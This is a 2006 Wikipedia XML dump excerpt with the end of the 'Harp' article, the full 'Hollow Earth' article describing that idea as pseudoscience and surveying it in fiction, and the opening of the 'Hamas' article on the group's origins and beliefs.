Broken strings are minor damage, easily repaired by a harpist. Harpists often carry a spare set of strings in the harp's case. However, different harps use different strings, and the wrong strings can damage a harp.

Loose tuning pegs or broken levers are minor but require professional repairs.  The most common serious damage to a harp is a cracked sound board or a failed glue seam.  These can usually be fixed by the manufacturer of the harp or an experienced luthier.

Like all fine wooden instruments, harps are susceptible to both heat and changes in humidity.  The glue in most harps melts above 60 °C (140 °F), so it is dangerous to leave a harp in a hot car on a sunny day.  Sound boards in particular are susceptible to changes in humidity, and occasionally crack when the harp is fully strung and the humidity and temperature rapidly change.  Ideally, a harp should be shipped with loose strings, and then left in its packing materials with the door open a crack to slowly accommodate the harp to the temperature and humidity of its resting place.  Only after a few hours should the harp be set up and tuned.

==As a symbol==
===Political===
[[Image:Ireland_coa.png|frame|left|The Coat of Arms of the [[Republic of Ireland]]]]
[[Image:2e_ire.png|frame|right|The [[Irish euro coins|Irish € 2.00 coin]]]]
&lt;!-- &lt;div style=&quot;float:right; width:160px; padding:8px; margin-left: 1em; text-align:center&quot;&gt;[[Image:Ireland_coa.png]]&lt;br&gt;'''The Coat of Arms of the [[Republic of Ireland]]'''&lt;/div&gt; --&gt;
The harp has been used as a political symbol of [[Ireland]] for centuries. It was used to symbolise Ireland in the [[Royal Standard]] of King [[James I of England|James VI/I]] of Scotland, England and Ireland in [[1603]] and had continued to feature on all [[England|English]], [[Kingdom of Great Britain|British]] and [[United Kingdom]] Royal Standards ever since, though the style of harp used differed on some Royal Standards. It was also used on the [[Commonwealth Jack]] of [[Oliver Cromwell]], issued in [[1649]] and on the [[Protectorate Jack]] issued in [[1658]] as well as on the [[Lord Protector's Standard]] issued on the succession of [[Richard Cromwell]] in [[1658]]. The harp is also traditionally used on the flag of [[Leinster]].

Independent Ireland continued to use the harp as its state symbol on the [[Great Seal of the Irish Free State]], featuring it both on the [[coat of arms]] and on the [[President of Ireland|Presidential]] [[flag|Standard]] and [[Official Seal of the President of Ireland|Presidential Seal]] - as well as on various other official seals and documents. The harp also appears on [[Irish coinage]] from the [[Middle Ages]] to the current [[Irish euro coins]].

:''See also: [[Coat of Arms of the Republic of Ireland]]''

[[South Asia|South Asian]] version of harp known in tamil as 'yaal', is the symbol of [[Jaffna|City of Jaffna]], [[Sri Lanka]], which's legendary root originates from a harp player.

===Corporate===
The harp is also used extensively as a [[corporate logo]] - both [[Private company|private]] and [[government]] organisations. For instance; Ireland's most famous drink, [[Guinness]], also uses a harp, but in reverse and also less detailed than the state arms - [[Harp Lager]] is also produced by Guinness and uses the harp.

Relatively new organisations also use the harp, but often modified to reflect a [[motif (art)|theme]] relevant to their organisation, for instance; [[Ryanair]] uses a modified harp, somewhat in the form of an [[angel]] taking flight, and the [[State Examinations Commission]] uses it with an [[educational]] theme.

Other organisations in Ireland use the harp, but not always prominently; these include the [[National University of Ireland]] and the associated [[University College Dublin]], and the [[Gaelic Athletic Association]]. In [[Northern Ireland]] the [[Police Service of Northern Ireland]] and [[Queen's University of Belfast]] use the harp as part of their identity.

==External links==
*[http://www.tns.lcs.mit.edu/harp/ The Harp Page] - a directory of harp-related links
*[http://www.harpspectrum.org/ Harp Spectrum] - general information about the harp
*[http://clarsach.net/ Clarsach.net] - about the Gaelic harp of Ireland and the Scottish Highlands
*[http://www.asni.net/harplore.html Asni: harp lore] - descriptions of several types of historical European harps (with sound samples)
*[http://www.traditionalharps.com/ W. Rees Harps] - includes harp facts, repair and care information 
*[http://www.harpeceltique.com/ La corde d'argent]: French association for harp Celtic development.
*[http://store.harp-bagpipe.com/celticharps.html The Harp &amp; Bagpipe] Information on Celtic Harps
*[http://bochsa.site.voila.fr/ Nicolas Bochsa] - the first biography (published in French) of one of the most celebrated harpists in the XIXth century is now available
*[http://www.sankey.ws/harp.html To build an Irish harp]
*[http://www.harpguitars.net/history/history.htm History of the [[Harp guitar]]]

==Notes==
#{{note|thirteen}}, Alasdair Ross, &quot;Pictish Chordophone Depictions&quot;, in ''Cambrian Medieval Celtic Studies'', 36, 1998, esp. p. 41; Joan Rimmer, ''The Irish Harp'', (Cork, 1969) p. 17.

==Bibliography==
*Courteau, Mona-Lynn. &quot;Harp&quot;. In J. Shepherd, D. Horn, D. Laing, P. Oliver and P. Wicke (Eds.), ''The Continuum Encyclopedia of Popular Music of the World'', Vol. 2, 2003, pp. 427-437.
*Woods, Sylvia. &quot;Teach Yourself to Play Celtic Harp&quot;; A companion video is available.
*Faul, Michel. &quot;Nicolas Bochsa : harpiste, compositeur, escroc&quot;; first biography (in French) of one of the most celebrated harpists in the XIXth century : http://bochsa.site.voila.fr


[[Category:Composite chordophones]]
[[Category:National emblems of the Republic of Ireland]]
[[Category:String instruments]]

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  <page>
    <title>Hollow Earth</title>
    <id>13912</id>
    <revision>
      <id>42068988</id>
      <timestamp>2006-03-03T16:31:08Z</timestamp>
      <contributor>
        <ip>202.142.180.1</ip>
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      <comment>/* Hollow earths in fiction */</comment>
      <text xml:space="preserve">The phrase '''''hollow earth''''' refers to the [[esoteric]] idea that the planet [[Earth]] has a hollow interior, almost always associated with the idea that it has a habitable inner surface. Although at one time adventure literature made this idea popular and even commonplace, the notion now receives little support; substantial [[geodesy | geodetic]] evidence has long controverted it and the scientific community dismisses it as [[pseudoscience]].

[[Isaac Newton|Newton]]'s [[shell theorem]] mathematically implies a [[gravity | gravitational]] force of zero everywhere inside a spherically symmetric hollow shell of matter, regardless of the shell's thickness, and ignoring other masses inside or outside the shell. Thus, according to the shell theorem and contrary to popular belief, people on the inside of a putative hollow earth would not experience an outward pull and could not stand on the inner surface;  rather, they would experience [[weightlessness]] (with some slight residual gravity arising from the fact that the Earth does not have a perfectly symmetrical spherical shape, and from masses such as the Moon which do not form part of the spherical shell).  The [[centrifugal force]] from the Earth's rotation ''would'' pull a person outwards, but even at the [[equator]] this force exerts only 0.3% of ordinary Earth gravity.

==Hollow earth claims==
&lt;!-- references, other than to dodgy web sites, would be appreciated for much of this material! --&gt;

=== Conventional hollow earths ===
====Early history====
In ancient times, the idea of subterranean realms seemed arguable, and became intertwined with the concept of &quot;places&quot; such as the [[Greek mythology|Greek]] [[Hades]], the [[Norse mythology | Nordic]] [[svartalfheim]], the [[Judaism|Jewish]] [[Sheol]], and the [[Christianity|Christian]] [[Hell]].

[[Image:Edmund Halley Hollow Earth.png|thumb|150px|right|[[Edmund Halley]]'s theory.]]
[[Edmund Halley]] in 1692 (''Philosophical Transactions of Royal Society of London'') put forth the idea of [[Earth]] consisting of a hollow shell about 500 miles thick, two inner concentric shells and an innermost core, about the diameters of the planets Venus, Mars, and Mercury. Atmospheres separate these shells, and each shell has its own magnetic poles. The spheres rotate at different speeds. Halley proposed this scheme in order to explain anomalous compass readings.  He envisaged the [[Celestial body atmosphere|atmosphere]] inside as [[luminosity|luminous]] (and possibly inhabited) and speculated that escaping gas caused the [[Aurora Borealis]].

[[Image:Hollow earth Leonhard Euler.png|thumb|150px|right|[[Leonhard Euler]]'s purported hollow-earth thought-experiment, featuring openings at the poles, with an internal star.]]
Some have claimed [[Leonhard Euler]] also proposed a hollow-earth idea, getting rid of multiple shells and postulating an interior sun 600 miles across to provide light to advanced inner-earth civilization.  This claim may result from a mis-reading of a paper that simply involved a [[thought experiment]].

[[Sir John Leslie]] expanded on this idea, suggesting two central suns, which he named Pluto and Proserpine.

====19th century====
In [[1818]], [[John Cleves Symmes, Jr.]] suggested that the Earth consisted of a hollow shell about 800 miles (1,300 km) thick, with openings about 1400 miles (2,300 km) across at both [[geographical pole | pole]]s with 4 inner shells each open at the [[geographical pole | pole]]s.  Symmes became the most famous of the early Hollow Earth proponents.   He actually proposed making an expedition to the [[North Pole]] hole, thanks to efforts of one of his followers, [[James McBride (pioneer)|James McBride]], but the new President of the United States, [[Andrew Jackson]] (in office 1829 - 1837), halted the attempt.  Symmes died in 1829.
  
However, another follower, Jeremiah Reynolds, also delivered lectures on the &quot;Hollow Earth&quot; and also argued for an expedition.  Eventually he would drop talk about a hollow Earth after the death of Symmes.  Reynolds apparently went on an attempted expedition himself, but the outcome remains unclear. (Information on Reynolds remains sketchy and contradictory: we even lack an image of him.  Some say he only had pecuniary interests, that his claimed 'expedition' consisted of an attempt to defraud and that he disappeared following it. Others say he did try to conduct his own expedition and failed, then missed out on joining the [[Wilkes Expedition|Great U.S. Exploring Expedition]] of 1838 - 1842, and later faded into obscurity).
  
Reynolds' agitation ''did'' result in an expedition: the [[Wilkes Expedition|Great U.S. Exploring Expedition]] of 1838 - 1842.  This expedition also became known as the [[Wilkes Expedition]].  Reynolds did not participate because he had offended too many in his call for such a trip.

Symmes himself never wrote a book of his ideas but others did.  McBride wrote ''Symmes' Theory of Concentric Spheres'' in 1826.  It appears that Reynolds has an article that appeared as a separate booklet in 1827: ''Remarks of Symmes' Theory Which Appeared in the American Quarterly Review''.  In 1868, a professor W.F. Lyons published ''The Hollow Globe'' which put forth a Symmes-like Hollow Earth theory, but didn't mention Symmes.  Symmes's son Americus then published ''The Symmes' Theory of Concentric Spheres'' to set the record straight.

====Recent history====
An early twentieth-century proponent of a hollow earth, William Reed, wrote ''Phantom of the Poles'' in 1906.  He propounded the idea of a hollow earth, but without interior shells or inner suns.

Later came Marshall Gardner (distinct from science writer [[Martin Gardner]]) who wrote ''A Journey to the Earth's Interior'' in 1913 and then an expanded edition in 1920.  He placed an interior sun in the hollow earth.  He even built a working model of the hollow earth and patented it (#1096102).  Gardner made no mention of Reed, but did take Symmes to task for his ideas.

Other writers have proposed that &quot;[[Ascended master|ascended masters]]&quot; of esoteric wisdom inhabit subterranean caverns or a hollow Earth. [[Antarctica]], the [[North Pole]], [[Tibet]], [[Peru]], and [[Mount Shasta]] in [[California]], [[United States|USA]], have all had their advocates as the locations of entrances to these subterranean realms, with some advancing the theory that [[Unidentified flying object|UFO]]s have their homeland in these places.

A book allegedly by a Dr Raymond Bernard which appeared in 1969, ''The Hollow Earth'', exemplifies this idea.  The book rehashes Reed and Gardner's ideas and totally ignores Symmes.  Bernard also adds his own ideas: UFOs come from the interior, the Ring Nebula proves the existence of hollow worlds, etc.  An article by [[Martin Gardner]] revealed that Walter Siegmeister used the pseudonym `Bernard', but only with Walter Kafton-Minkel's ''Subterranean Worlds: 100,000 years of dragons, dwarfs, the dead, lost races &amp; UFOs from inside the earth'' in [[1989]] did the full story of Bernard/Siegmeister emerge.

The pages of the [[science fiction]] [[pulp magazine]] ''[[Amazing Stories]]'' promoted one such idea from 1945 to 1949 as &quot;the Shaver Mystery&quot;.  The magazine's editor, [[Ray Palmer]], ran a series of stories by [[Richard Sharpe Shaver]] supposedly claimed as factual, though presented in the context of fiction.  Shaver claimed that a superior pre-historic race had built a honeycomb of caves in the Earth, and that their degenerate descendants, known as &quot;Dero&quot;, live there still, using the fantastic machines abandoned by the ancient races to torment those of us living on the surface.  As one characteristic of this torment, Shaver described &quot;voices&quot; that purportedly came from no explainable source.  Thousands of readers wrote to affirm that they, too, had heard the fiendish voices from inside the Earth.

Fantastic stories (supposedly believed as factual within fringe circles) have also circulated that [[Adolf Hitler|Hitler]] and some of his followers escaped to hollow lands within the Earth after [[World War II]] via an entrance in [[Antarctica]]. (See also Hitler's supposed adherence to concave hollow-Earth ideas, below.)

In [[2001]] the [[Australia]]n father-and-son team Kevin and [http://www.hyperogga.com/infoAboutMe.asp Matthew Taylor] [[self-publishing|self-published]] the book ''[http://www.tlonh.com The Land of No Horizon]'' ([http://catalogue.nla.gov.au/cgi-bin/Pwebrecon.cgi?DB=local&amp;Search_Arg=ISBN+%220646410571%22&amp;SL=None&amp;Search_Code=CMD&amp;CNT=10 direct link] [[National Library of Australia]] ISBN 0646410571). Among other things it proposes (through [[reasoning]]) an [http://www.hollowearththeory.com expanding and hollow Earth] (as well as other planetary bodies) which eventually reached [[equilibrium]]. The book also looks at a range of topics including but not limited to [[evolution]], human [[physiology]], [[impact crater]]s and other [[geology]] in light of such a hollow earth.

Kevin and Matthew Taylor's view of a hollow planet envisages a hollow globe with a small (depending on planet size) central sun ignited by radiation from the inner surface. They use this view both to explain [[geomagnetism | Earth's magnetic field]] (replacing the [[dynamo theory]]) and the origin and ignition of [[star]]s.

Some writers have proposed building [[megastructure]]s that have some similarities to a hollow earth -- see
[[Dyson sphere]], [[Globus Cassus]].

=== Concave hollow earths ===
[[Image:Concave hollow Earth.jpeg|thumb|200px|left|Example of a ''concave hollow earth.'' Humans live on the interior; with the universe in the center.]]
Instead of saying that we live on the outside surface of a hollow planet, sometimes called a &quot;convex&quot; hollow-Earth theory, some theorists have opined that our universe itself lies in the interior of a hollow world, calling this a &quot;concave&quot; hollow-Earth theory. The surface of the earth, according to such a view, might resemble the interior shell of a [[Dyson sphere]]. Generally, scientists have taken neither type of speculation seriously.

[[Cyrus Teed]], an eclectic doctor from upstate New York, proposed such a concave hollow earth in 1869, calling his scheme &quot;[[Cellular Cosmogony]]&quot;. Teed founded a [[cult]] called the [[Koreshan Unity]] based on this notion, which he called [[Koreshanity]].  The main colony survives as a preserved [[Florida]] state historic site, at Estero, but all of Teed's followers have now died. Teed's followers claimed to have experimentally verified the concavity of the earth's curvature, through surveys of the Florida coastline making use of &quot;rectilineator&quot; equipment.

Several twentieth-century German writers, including Peter Bender, Johannes Lang, Karl Neupert, and Fritz Braun, published works advocating the hollow earth theory, or ''Hohlweltlehre''. Opponents of the hollow earth theory suggest, although without historical documentation, that Adolf Hitler, influenced by hollow-Earth ideas, actually sent an expedition in an unsuccessful attempt to spy on the British fleet by aiming cameras up into the sky. The accuracy of such rumors remains questionable; some supporters of the hollow-earth theory feel that their opponents deliberately bring Hitler into the picture in order  to discredit the theory by association.

At least one contemporary proponent of a concave hollow Earth theory has developed adjustments to the laws of physics that take into account gravitation, optics, and so forth. The Egyptian mathematician [[Mostafa A. Abdelkader|Mostafa Abdelkader]] authored several scholarly papers working out a detailed mapping of the concave earth model. See M. Abdelkader, &quot;A Geocosmos: Mapping Outer Space Into a Hollow Earth,&quot;  6 ''Speculations in Science &amp; Technology'' 81-89 (1983). Abstracts of two of Abdelkader's papers also appeared in ''Notices of the American Mathematical Society,'' (Oct. 1981 and Feb. 1982). 

In one chapter of his book ''On the Wild Side'' (1992), [[Martin Gardner]] discusses the hollow earth model articulated by Abdelkader. According to Gardner, this theory posits that light rays travel in circular paths, and slow as they approach the center of the spherical star-filled cavern. No energy can reach the center of the cavern, which corresponds to no point a finite distance away from Earth in the widely accepted scientific cosmology. A drill, Gardner says, would lengthen as it traveled away from the cavern and eventually pass through the &quot;point at infinity&quot; corresponding to the center of the Earth in the widely accepted scientific cosmology. Supposedly no experiment can distinguish between the two cosmologies. Martin Gardner notes that &quot;most mathematicians believe that an inside-out universe, with properly adjusted physical laws, is empirically irrefutable&quot;. However, Gardner rejects the concave hollow Earth theory, not as disproven, but instead entirely on the basis of [[Occam's Razor]].

In a trivial sense, of course, one can always define a [[Coordinates (elementary mathematics) | coordinate]] transformation such that the interior of the Earth becomes &quot;exterior&quot; and the exterior becomes &quot;interior&quot;.  (For example, in spherical coordinates, let radius ''r'' go to ''R''&amp;sup2;/''r'' where ''R'' is the Earth's radius.)  Such transformations would require corresponding changes to the forms of physical laws; the consensus suggests that such theories tend towards sophistry.

==Hollow earths in fiction==

An early science-fiction work called ''Symzonia: A Voyage of Discovery'' by a &quot;Captain Adam Seaborn&quot; appeared in print in 1823.  It obviously reflected the ideas of [[John Cleves Symmes, Jr.]], and some have claimed Symmes as the real author.  One recent reprint of the work gives Symmes as the author.  Others disagree.  Some researchers say it deliberately satirized Symmes's ideas, and think they have identified the author as an early American author named [[Nathanial Ames]] who wrote other works, including one that might have served as the inspiration of ''Moby Dick''  (see Lang, Hans-Joachim and Benjamin Lease. &quot;The Authorship of ''Symzonia'': The Case for Nathanial Ames&quot; ''New England Quarterly'', June 1975, page 241-252.)

[[Edgar Allan Poe]] used the idea in his [[1838]] novel ''[[The Narrative of Arthur Gordon Pym of Nantucket | The Narrative of Arthur Gordon Pym]]''.  He also touches on it in &quot;MS. found in a bottle&quot; and &quot;Hans Pfaal&quot;. 

[[Jules Verne]], who did not often stray far from the bounds of scientific plausibility in his works, used the idea of a hollow Earth in his [[1864]] novel, ''[[Journey to the Center of the Earth | A Journey to the Center of the Earth]]''.

Willis Emerson wrote another science fiction novel worthy of mention: ''The Smoky God'' [[1908]].  The novel claims to recount the true adventures of one Olaf Jansen who traveled into the interior, found an advanced civilization, and then left it.  Some people regard ''The Smoky God'' as non-fiction.

[[Edgar Rice Burroughs]], more concerned with entertainment than plausibility, also wrote tales of adventure in the inner world of [[Pellucidar]] (including, at one point, a visit from his character [[Tarzan]]). Note that, although the inner surface of the Earth has an absolutely smaller area than the outer, Burroughs's Pellucidar has oceans on the outer surface corresponding to continents on the inner surface and vice-versa, so that Pellucidar actually has a greater land area than the &quot;outer&quot; continents combined. Primitive humans and an exciting mix of all those large and dangerous creatures which have unfortunately become extinct on the outer surface inhabit Pellucidar, and Burroughs did not hesitate to add such improvements as the ''Mahars'', creatures vaguely resembling large intelligent pterodactyls with dangerous [[parapsychology| psychic]] powers. For light Pellucidar has a central miniature sun which never sets, so that its human inhabitants have never developed the notion of time.

In the science-fiction novel ''[[Inhabited Island]]'' by the Russian authors [[Boris and Arkady Strugatsky]], an Earthling space traveller [[Maxim Kammerer]] lands on a planet ([[Saraksh]]) where, due to extremely high [[atmospheric]] [[refraction]], the native population believes that it resides inside a hollow earth.  As a result, they cannot accept the idea of Kammerer's interplanetary origin.

The Russian geologist [[Vladimir Obruchev]] uses the concept of the hollow earth in his popular scientific novel ''Plutonia'' to take the reader through various geological epochs.

In the [[1970s]], comic-book artist [[Mike Grell]] produced the comic-book [[Warlord (comics)|''Warlord'']], about a pilot who finds himself in [[Skartaris]], a [[sword and sorcery | sword-and-sorcery]] world reached through an opening at the [[North Pole]]. First believed to be the hollow interior of the Earth, [[Skartaris]] was later revealed to be a paralell dimension.

The [[Marvel Universe]] features several underground empires ruled by villains like the [[Mole Man]] or Tyranus. A race of mutant survivors from ancient [[Lemuria]] known as [[Deviants]] also live underground.

The fantasy series ''The Death Gate Cycle'', by Margaret Weis and Tracy Hickman, also features a concave hollow world, beginning in ''Elven Star'', the second book in the series. This world, called 'Pryan the World of Fire', presents a classic hollow world, in which the constant light from its central sun has caused the plant life to grow to such size that all of the people on Pryan live atop the highest trees on a nearly rock-solid network of branches and leaves.

The [[Cthulhu Mythos]] stories of [[H. P. Lovecraft]] (''et al'')  feature as a common theme a subterranean [[gateway]] or [[labyrinth]] that serves as the home of various [[Great Old One|Great Old Ones]].

A hollow Earth featured in the children's &quot;[[Choose Your Own Adventure]]&quot; novel ''The Underground Kingdom''.

[[Rudy Rucker]]'s novel ''The Hollow Earth'' appeared in 1990, and features Edgar Allan Poe and his ideas.

The novel ''[[Indiana Jones]] and the Hollow Earth'' by Max McCoy (1997) expands on the legend of Hitler's supposed escape to the Earth's interior.

[[Eoin Colfer]]'s ''[[Artemis Fowl]]'' series of novels has a population of [[fairy | fairies]] living inside the Earth, under the [[Mantle (geology)|mantle]].

The [[Dungeons &amp; Dragons]] role-playing game's [[Mystara]] campaign setting included a ''[[Mystara#The_Hollow_World | Hollow World]]'' expansion, which served as a nature preserve of sorts, where gods placed extinct creatures and civilizations.

The comics series ''Les Terres Creuses'' by Belgian comics writers Luc and [[François Schuiten]] features several hollow-earth settings.

The graphic novel series [[Bureau of Paranormal Research and Defense|BPRD]] by Mike Mignola, creator of [[Hellboy]], did a collection called &quot;Hollow Earth&quot;, where the team journeys into great caverns inside the earth inhabited by Hyperborian people and fantastic machines, some emblazoned with a swastica. At the center is the city of the creatures and their leader.

The ''[[Transformers: Cybertron]]'' cartoon series features a character, Professor Lucy Suzuki, who believes in the Hollow Earth Theory.

The video game &quot;Terranigma&quot; for the Super Nintendo Entertainment System features both a hollow earth and a normal earth.

The PC Role Playing game &quot;Torin's Passage&quot; features a depiction of a hollow earth (though technicaly the fictional planet is called &quot;Strata&quot;) similar to the one described by Edmund Halley, with the surface world (called &quot;The Lands Above&quot; in the game) being the largest, while the worlds within it (four, known collectivly as &quot;The Lands Below&quot;) become proggressivly smaller as the player, &quot;Torin&quot; descends into them from The Lands Above.

The band [[Bal-Sagoth]] have, on their new album ''[[The Chthonic Chronicles]]'', a song about the Hollow Earth called &quot;Invocations Beyond the Outer-World Night&quot;.

The film Marebito has also references and theme of Hollow earth and the netherworld or subterranean realms.

== See also ==

* [[Agartha]]
* [[Cyrus Teed]]
* [[Dyson sphere]]
* [[Flat earth]]
* [[Neal Adams]]
* [[John Cleves Symmes Jr]]
* [[Nazi mysticism]]
* [[New Swabia]]
* [[Sherry Shriner]]
* [[Brinsley Le Poer Trench, 8th Earl of Clancarty]]
* [[Subterranean fiction]]
* [[Unidentified flying object]]
* [[Vril]]

==External links==
*''[http://www.hollowearththeory.com The Expanding Hollow Earth Theory] - Serious scientific evidence supporting the Hollow Earth Theory and the Expanding Earth Theory.
*''[http://www.facstaff.bucknell.edu/dgriffin/Research/PGEO_2025n05_382-397-Griffin.pdf '' Hollow and Habitable Within: Symmes's Theory of Earth's Internal Structure and Polar Geography''] - a scholarly article on Symmes's theory
*''[http://www.literature.org/authors/burroughs-edgar-rice/at-the-earths-core/ At the Earth's Core]'', by Edgar Rice Burroughs
*[http://www.sacred-texts.com/earth/cc/index.htm ''The Cellular Cosmogony''], by Koresh: full text of Cyrus Teed's book about the inside-out earth at www.sacred-texts.com
*[http://www.sacred-texts.com/earth/potp/index.htm ''The Phantom of the Poles''], by William Reed: full text at www.sacred-texts.com
*[http://www.crank.net/hollow.html Crank.net - Hollow Earth]: people who believe
*[http://www.crystalinks.com/hollowearth.html Hollow Earths]: a historical list of hollow-Earth proposals
*[http://unmuseum.mus.pa.us/hollow.htm Hollow Earths]: page illustrating several hollow-earth proposals with diagrams
*Stephen Wagner, [http://paranormal.about.com/library/weekly/aa011199.htm Nazis and the Hollow Earth], ''Paranormal.About.com'' (Jan. 11, 1999): (thinly sourced) discussion of rumors about the Nazis and hollow Earth ideas.
*[http://www.floridastateparks.org/koreshan/default.asp Koreshan State Historic Site], official web page.
*[http://koreshan.mwweb.org/ Unofficial Koreshan State Historic Site], unofficial web page.
*[http://faculty.mansfield.edu/skaspere/Restricted/koreshan.html American Communal Utopias and The Koreshan Unity: A Bibliography] Brief overview and great bibliography of works, if slightly dated.
*[http://www.lhup.edu/~dsimanek/hollow/morrow.htm Turning the Universe Inside-Out: Ulysses Grant Morrow's Naples Experiment] Examination of the Naples Experiment, and why it failed, but also covers the major hollow earth theories and Koreshan beliefs.
*''[http://www.gutenberg.org/etext/3007 The Smoky God]'', by Willis George Emerson. Complete novel
*[http://www.voyagehollowearth.com/ Voyage to our Hollow Earth], Journey to the North Pole and Beyond - 24 day Trip, June 26, 2006 - July 19, 2006. Expedition aboard the IceBreaker YAMAL
*[http://www.unmuseum.org/hollow.htm The Hollow Earth] - from [[The UnMuseum]]
*[http://thehollowearthinsider.com/ Hollow Earth Insider], &quot;a dedicated worldwide group of Insiders researching, not only the Hollow Earth/Subterranean Mysteries, but also reports on the UFO/Alien connection and other earthly mysteries, the New World Order and other conspiracies&quot;

[[Category:Pseudoscience]]
[[Category:Obsolete scientific theories]]
[[Category:Subterranea]]
[[Category:UFOs]]
[[Category:Earth]]

[[de:Theorie der hohlen Erde]]
[[ko:지구공동설]]
[[ja:地球空洞説]]</text>
    </revision>
  </page>
  <page>
    <title>Hamas</title>
    <id>13913</id>
    <revision>
      <id>42156056</id>
      <timestamp>2006-03-04T04:43:58Z</timestamp>
      <contributor>
        <ip>68.214.35.104</ip>
      </contributor>
      <comment>Governing party should be noted up front</comment>
      <text xml:space="preserve">{{cleanup-date|February 2006}}
{{wikinews|Hamas wins Palestinian election}}
[[Image:HamasLogo.jpg|right|thumb|The Hamas emblem shows two crossed swords, the [[Dome of the Rock]] and a map of the land they claim as [[Palestine]] (present-day [[Israel]], the [[West Bank]] and the [[Gaza Strip]]).]]
'''Hamas''' is a [[Palestinian]] [[Islamist]] organization created in [[1987]]. In 2006, Hamas became the governing party of the Palestinian Authority, having won a majority of seats in [[Palestinian legislative election, 2006|Palestinian legislative elections]]. Hamas is known throughout the world for carrying out [[suicide bombing|suicide bombings]] and other attacks against [[Israel]]is to further its goal of creating an &quot;Islamic Republic of Palestine&quot; which in what is now [[Israel]], the [[West Bank]], and the [[Gaza Strip]]. The group is listed as a [[terrorism|terrorist]] organization by [[Australia]], [[Canada]], the [[European Union]], [[Israel]], and the [[United States]], and is banned in [[Jordan]] &lt;ref&gt; {{note label|US|1|a}} [http://www.state.gov/s/ct/rls/45394.htm US State Dept. list of terrorist groups] &lt;/ref&gt;. Hamas has created an extensive network of [[social welfare]] programs throughout the [[West Bank]] and [[Gaza]], partly explaining its popularity among Palestinians.

==Name==
''Hamas'' ({{lang-ar|حماس}}, [[acronym]] of '''Harakat al-Muqawama al-Islamiyya''', Arabic: حركة المقاومة الاسلامية, literally &quot;Islamic Resistance Movement&quot;) is an abbreviation of '''Harakat al-Muqawama al-Islamiyya''' ([[Arabic language|Arabic]] . The acronym corresponds to an Arabic word, meaning &quot;enthusiasm, fire, ardor, fervor, zeal, fanaticism&quot; (''The [[Hans Wehr]] [[Dictionary of Modern Written Arabic]]'').

&lt;!-- The following was added after quite a bit of discussion and arguing about wording on the Talk page. The majority felt that this was relevant enough to be included. So don't delete again. --&gt;
Although the founders of the organization most likely were unaware of the coincidence, the related word &quot;chamas&quot; in Hebrew (phonetically the same as &quot;Hamas&quot; for Israelis) has very bad connotations to Jews and Israelis, as it is an old word for &quot;violence, injustice, harsh wrong&quot; ([[Oxford University Press]] Hebrew-English dictionary). The word is quite common in the [[Hebrew Bible]], such as in [[Genesis]] 6:11.

The military wing of Hamas, formed in [[1992]], is known as the [[Ezzedeen-al-qassam|Izz ad-Din al-Qassam Brigades]] to commemorate Sheikh [[Izz ad-Din al-Qassam]], the father of modern Arab resistance, killed by the British in 1935. Armed Hamas cells also sometimes refer to themselves as &quot;Students of Ayyash,&quot; &quot;Students of the Engineer,&quot; or &quot;Yahya Ayyash Units,&quot; (see Kushner, 2002, p. 160) to commemorate [[Yahya Ayyash]], an early Hamas bomb-maker assassinated in [[1996]] &lt;ref&gt; {{Citenews | title=Who are Hamas? | org=BBC News | date=January 26, 2006 | url=http://news.bbc.co.uk/2/hi/middle_east/1654510.stm}} &lt;/ref&gt; .

==Beliefs==
Founded in 1987, Hamas was the [[Gaza Strip]] branch of the Pan-Arab ([[Sunni Islam|Sunni]]) [[Islamist]] [[Muslim Brotherhood]] movement, which had been founded in Egypt. Hamas is ideologically opposed to the [[zionism|existence of Israel]] and has denounced the 1993 [[Oslo Accords]], the foundation of the failed peace process, as a &quot;betrayal of God's will&quot;. However, in 2004, Hamas offered a 10 years truce, or ''[[hudna]]'', in exchange for several conditions including a complete withdrawal from the [[Israeli-occupied territories|occupied territories]] (''[[Hamas#2004 - A 10-year Truce|See below]]''). 

Hamas regards the territory of the present-day [[Israel|State of Israel]] — as well as the Gaza Strip and the West Bank — as an inalienable Islamic [[waqf]] or religious bequest, which can never be surrendered to non-[[Muslim]]s.  It asserts that struggle (''[[jihad]]'') to wrest control of the land from Israel is the religious duty of every Muslim (''fard `ain'').  This position is more radical than that now held by the [[Palestine Liberation Organization]] (PLO), which in [[1988]] recognized Israel's sovereignty.  Hamas does not recognize Israel as a sovereign state and refers to it as the &quot;Zionist entity&quot;, a common hostile term in Arab political rhetoric, and calls for Israel's destruction in its charter.  Hamas dropped its call for the destruction of Israel from its electoral manifesto [http://www.guardian.co.uk/israel/Story/0,2763,1684472,00.html]. However several Hamas candidates insist that the charter is still in force and often called for Israel to be &quot;wiped off the map&quot; in campaign speeches[http://news.yahoo.com/s/nm/20060112/wl_nm/mideast_hamas_dc]. On January 25th, 2006, after winning the Palestinian elections, Hamas leader [[Mahmoud Al-Zahhar]] gave an interview to [[Al-Manar TV]] denouncing foreign demands that Hamas recognize Israel's right to exist. [http://www.memritv.org/Transcript.asp?P1=1014]

Hamas's charter calls for the eventual destruction of the state of Israel and the creation of an Islamic Republic in it's place. [http://www.mideastweb.org/hamas.htm]. Hamas sees this view as an Islamic religious duty and prophesy which comes directly from the Q'uran and as such can not be compromised, how ever the group has not set a specific date for such destruction of Israel, Hamas founder, Sheikh Yassin, has mentioned the year 2027 as the possible date for destruction of Israel[http://www.haaretz.com/hasen/pages/ShArt.jhtml?itemNo=317595&amp;contrassID=2&amp;subContrassID=5&amp;sbSubContrassID=0&amp;listSrc=Y]. The group has not issued a clear statement about how it would deal with the current population of Israel, should it succeed in overthrowing Israeli and secular Palestinian government. [[Abdel Aziz al-Rantissi]], one of its co-founders, stated that the movement's goal is &quot;to remove Israel from the map.&quot; &lt;ref&gt; {{Citenews | title=New-look Hamas spends £100k on an image makeover | org=The Guardian | date=January 20, 2006 | url=http://www.guardian.co.uk/israel/Story/0,,1690610,00.html}} &lt;/ref&gt; However, on February 13, 2005, Hamas leader [[Khaled Mashal]] declared that Hamas would stop [[armed struggle]] against Israel if it recognized the 1967 borders and withdrew itself from all Palestinian occupied territories (including the West Bank and [[East Jerusalem]] (''[[Hamas#January 2006 - Winning the Legislative Election|See below]]'').

